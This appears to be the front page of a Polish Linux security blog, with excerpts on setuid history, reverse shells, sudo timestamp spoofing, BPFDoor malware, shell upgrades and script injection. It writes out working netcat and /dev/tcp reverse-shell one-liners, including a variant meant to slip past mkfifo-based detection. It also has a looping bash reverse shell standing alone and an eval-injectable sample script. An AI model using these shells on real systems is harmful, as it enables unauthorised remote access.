T

owarzystwo Historyczne Uniksa (ang. Unix Historical Society) niedawno otrzymało i udostępniło kopię raportu technicznego Bell Labs z 1984 roku autorstwa Jamesa Allena zatytułowanego: „/bin/sh: Największa luka w zabezpieczeniach Uniksa” (ang. /bin/sh: The Biggest Unix Security Loophole). W czasach, gdy powstawał ten raport Unix był jeszcze znakiem towarowym AT&T Bell Laboratories. Z samego abstraktu możemy dowiedzieć się, że wówczas osoby zajmujące się łamaniem zabezpieczeń określało się terminem „crackerzy”. Mieli oni mieć wiele sposobów, aby stać się superużytkownikami w systemie Unix. Jednak autor wyodrębnił dwie główne klasy luk. Klasa pierwsza składała się z wielu tajemnych i trudnych do wykonania „sztuczek”. Druga klasa to jeden, łatwy sposób, z którego każdy mógł skorzystać bez problemu. Cały raport skupił się w głównej mierze na drugiej klasie. W szczególności na prawowitych poleceniach systemu (takich jak: mail, troff itp.), działających z uprawnieniami superużytkownika, które mogły zostać zmuszone do nieumyślnego wykonywania poleceń w powłoce systemowej. W praktyce raport pokazał, jak wiele programów posiadających bit setuid było napisanych w niedbały sposób zapewniając wspomnianemu crackerowi luki, których potrzebował, aby eskalować swoje uprawnienia. Poniżej znajduje się wolne tłumaczenie:
[ czytaj całość… ]

J

eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to za pomocą telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ:

mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f

Na początku tworzony jest nazwany potok FIFO za pomocą polecenia mkfifo w ścieżce /tmp/f. Następnie uruchamiany jest program binarny (tutaj netcat), który pobiera dane wejściowe z tego potoku. Całość danych wyjściowych z programu binarnego jest przekazywana zwykłym potokiem (ang. pipe) do procesu powłoki sh. Wyjście powłoki jest przesyłane z powrotem przez nazwany potok FIFO do wejścia programu binarnego. Gdy program binarny i powłoka sh zakończą swoje działanie, polecenie rm usuwa nazwany potok FIFO w ścieżce /tmp/f.

Plik specjalny FIFO (nazwany potok) jest podobny do zwykłego potoku (|), z wyjątkiem tego, że jest dostępny jako część systemu plików. Może być otwierany przez wiele procesów w celu odczytu i zapisu. Gdy procesy wymieniają dane za pośrednictwem FIFO, jądro przekazuje wszystkie dane wewnętrznie bez zapisywania ich w systemie plików. Tak, więc specjalny plik FIFO nie ma zawartości w systemie plików – wpis w systemie plików służy jedynie jako punkt odniesienia, dzięki czemu procesy mogą uzyskać dostęp do potoku przy użyciu nazwy w systemie plików.

Polecenie mkfifo jest tutaj koniecznie, ponieważ potrzebujemy dwóch kanałów komunikacji: netcat do sh oraz sh do netcat, a potok użyty w powłoce (|) daje tylko jednokierunkowy prymityw. Istnieje wiele wad korzystania z mkfifo. Dość powszechne jest tworzenie reguł wykrywających tego typu ładunki poleceń przez niebieskie zespoły (ang. blue teams). Ponieważ programy binarne są tutaj wymienne (nc, telnet, openssl) włączenie programu mkfifo do sygnału wykrywania odwróconych powłok jest naturalnym krokiem. Poza tym krok czyszczenia (rm /tmp/f) czasami kończy się niepowodzeniem, pozostawiając błędny plik FIFO. Wreszcie – nie zawsze można znaleźć zapisywalne lokalizacje na systemie plików np. gdy procesy uruchomione są w chroot lub kontenerze w trybie tylko do odczytu.

Jak możemy wykluczyć to polecenie? Na przykład tak:

{ nc 1.2.3.4 31337 </dev/fd/3 3>&- | sh >&3 3>&- ; } 3>&1 | :

Tworzymy podpowłokę (ang. subshell) za pomocą { } lub ( ), w której zamykamy kilka poleceń. Dane wyjściowe z tej podpowłoki potokiem przekazujemy do tzw. polecenia NOP (ang. do-nothing operation), czyli dwukropka (:) wcześniej przekierowując dane wyjściowe deskryptora pliku o numerze 3 na standardowe wyjście (3>&1). Wewnątrz podpowłoki program binarny netcat pobiera dane wejściowe z deskryptora pliku o numerze 3 (</dev/fd/3), który następnie jest zamykany (3>&-) – całość danych wyjściowych jest przekazywana potokiem to powłoki sh. Następnie powłoka sh pobiera dane wejściowe z programu binarnego netcat i przekazuje swoje dane wyjściowe ponownie do deskryptora plików numer 3 również go zamykając, aby uniknąć dodatkowych zwisających odwołań do ponownie użytego deskryptora. W ten sposób unikając polecenia mkfifo uzyskaliśmy możliwość odczytu, jak i zapisu do struktury potoku w pamięci systemu Linux.

Więcej informacji: fifo, Something’s special about /dev/fd/3, What does minus mean in „exec 3>&-” and how do I use it?, Czysta funkcja bash do pobierania i uruchamiania ładunków, Linux shellcraft: the pipe trick

C

zy do pobrania pliku z internetu za pomocą protokołu http jest potrzebne inne narzędzie (np. curl) niż powłoka bash? Czy możemy napisać taką funkcję, która przyjmie adres nie związany z typowym ciągiem URL, aby nie budzić różnych systemów? Spróbujmy odpowiedzieć na te pytania. Zacznijmy od przekazania argumentu, który określi z jakiego adresu plik ma być pobrany. Naszym ciągiem tekstowym będzie: „stardust.nfsec.pl+80+payload.sh„, czyli separatorem zmiennych będzie znak „+”. W powłoce bash istnieje specjalna zmienna o nazwie Internal Field Separator (IFS), za pomocą której możemy zdefiniować separator dla polecenia read. Polecenie to może przypisać kilka zmiennych na raz, jeśli przekażemy mu dane wejściowe za pomocą metody Here Strings (podobnej do Here Documents). Czyli nasza pierwsza linia będzie miała postać:
[ czytaj całość… ]

K

ażde polecenie jest zapisywane w historii powłoki. Możemy ją ograniczać; obchodzić te ograniczenia; dodawać do niej czas wykonania poleceń; ulepszać wyszukiwanie itd. Najprostszym sposobem korzystania z historii jest używanie klawiszy kursora góra/dół. Większość użytkowników jest świadoma skrótu [Ctrl]+R. Naciskasz kombinację [Ctrl]+R (R jak reverse – wyszukiwanie wsteczne) kilka razy i jak przegapisz szukane polecenie, przewracasz oczami, naciskasz [Ctrl]+C i szukasz ponownie. Dlaczego w takim przypadku nie użyć wyszukiwania „do przodu” np. za pomocą [Ctrl]+S ? Otóż w standardowej konfiguracji kombinacja [Ctrl]+S zawiesza terminal, a [Ctrl]+Q go odwiesza. Funkcjonalność ta pochodzi z dawnych czasów i przydawała się m.in. przy zatrzymywaniu przepływu danych przez terminal. Dzisiaj już raczej się jej nie wykorzystuje. W celu wyłączenia tej funkcji i przywrócenia możliwości przeszukiwania historii wystarczy dodać linię do startowego pliku powłoki:

echo "stty -ixon" >> ~/.bash_profile

Teraz możemy przeszukiwać historię wstecz i do przodu używając [Ctrl]+R i [Ctrl]+S.

Więcej informacji: How to unfreeze after accidentally pressing Ctrl-S in a terminal?

B

adacze bezpieczeństwa odkryli wysoce inwazyjne, chińskie narzędzie inwigilacyjne wykorzystujące Berkeley Packet Filter (BPF). Złośliwe oprogramowanie, nazwane BPFDoor, może być obecne na „tysiącach” systemów Linux, a jego kontroler pozostał prawie całkowicie niezauważony przez producentów zabezpieczeń punktów końcowych, mimo że jest używany od co najmniej pięciu lat. Jest to już drugi rodzaj złośliwego oprogramowania wykorzystującego BPF w Linuksie do ukrytej inwigilacji, który został ujawniony w tym roku, po odkryciu przez Pangu Lab w lutym 2022 r. backdoora NSA o nazwie Bvp47. Wówczas badacz bezpieczeństwa Kevin Beaumont zasugerował, że BPF (lub rozszerzony BPF – eBPF) jest wykorzystywany przez innych aktorów stanowiących zagrożenie. Beaumont, który wcześniej pracował w firmie Microsoft, ostrzegał wtedy przed konsekwencjami niebezpieczeństwa związanym z wprowadzeniem eBPF na inne platformy poza Linuksem: „Naprawdę, naprawdę mam nadzieję, że Microsoft opracował model zagrożenia, co się stanie z bezpieczeństwem, gdy wprowadzi eBPF do podstawowego systemu operacyjnego” (firma Microsoft w marcu 2021 roku zapowiedziała projekt open source, aby umożliwić działanie eBPF w systemie Windows 10 / Server 2016 i nowszych).
[ czytaj całość… ]

while :;do sleep 5;/bin/bash -i >/dev/tcp/127.0.0.1/8080 0<&1 2>&1;done 

T

a część będzie zupełnie inna od poprzednich trzech (1, 2, 3). Jako użytkownik polecenia sudo na pewno zauważyłeś, że czasami sudo nie prosi o hasło, ponieważ pamięta nas jako użytkownika. Jak to się dzieje, że jesteśmy pamiętani? Czy możemy sfałszować taką tożsamość i uzyskać prawa administratora? Otóż sudo tworzy plik dla każdego użytkownika Linuksa w /var/run/sudo/ts/$USER. Pliki te zawierają udane i nieudane procesy uwierzytelnienia, które są używane przez sudo do zapamiętywania wszystkich uwierzytelnionych procesów.
[ czytaj całość… ]

Z

ałóżmy, że uruchomiliśmy już „odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!

Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:

agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]

T

rzecia część [ 1 ] [ 2 ] będzie poruszać ataki wstrzykiwania do skryptów powłoki. Te typy ataków występują, gdy użytkownik dostarcza jako argumenty przechowywane w zmiennych skryptu spreparowane polecenia lub wartości zamiast oczekiwanych danych wejściowych. W dodatku użyte zmienne są pozbawione znaków cytowania, które służą do usuwania interpretacji znaków specjalnych przez powłokę. Na przykład:

#!/bin/bash

read LOGIN
read COMMAND
if [ x$LOGIN = xroot ]; then
    echo $LOGIN
    eval $COMMAND
fi

[ czytaj całość… ]

W

drugiej części naszej serii zajmiemy się atakami na katalogi, które są dostępne do zapisu dla wszystkich użytkowników. Pliki znajdujące się w tych katalogach podatne są na atak polegający na możliwości zastąpienia ich innym, „złośliwym” plikiem, który skrypt zamierza odczytać lub zapisać.
[ czytaj całość… ]